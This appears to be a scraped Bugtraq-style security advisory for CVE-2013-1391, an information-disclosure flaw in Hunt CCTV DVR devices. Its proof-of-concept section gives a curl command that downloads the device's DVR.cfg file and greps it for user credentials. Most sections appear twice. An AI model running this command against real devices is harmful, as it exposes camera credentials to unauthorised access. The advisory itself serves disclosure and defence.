Multiple Hunt CCTV Information Disclosure Vulnerability
BID:57579
CVE-2013-1391 |Info
Multiple Hunt CCTV Information Disclosure Vulnerability
| Bugtraq ID: | 57579 |
| Class: | Design Error |
| CVE: |
CVE-2013-1391 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 29 2013 12:00AM |
| Updated: | Jan 29 2013 12:00AM |
| Credit: | Alejandro Ramos |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Multiple Hunt CCTV Information Disclosure Vulnerability
Multiple Hunt CCTV devices are prone to a remote information-disclosure vulnerability.
Successful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks.
Multiple Hunt CCTV devices are prone to a remote information-disclosure vulnerability.
Successful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks.
Exploit / POC
Multiple Hunt CCTV Information Disclosure Vulnerability
Attackers can exploit this issue by using browser or readily available tools.
The following example data is available:
curl -v http://www.example.com/DVR.cfg | strings |grep -i USER
Attackers can exploit this issue by using browser or readily available tools.
The following example data is available:
curl -v http://www.example.com/DVR.cfg | strings |grep -i USER
Solution / Fix
Multiple Hunt CCTV Information Disclosure Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Multiple Hunt CCTV Information Disclosure Vulnerability
References:
References: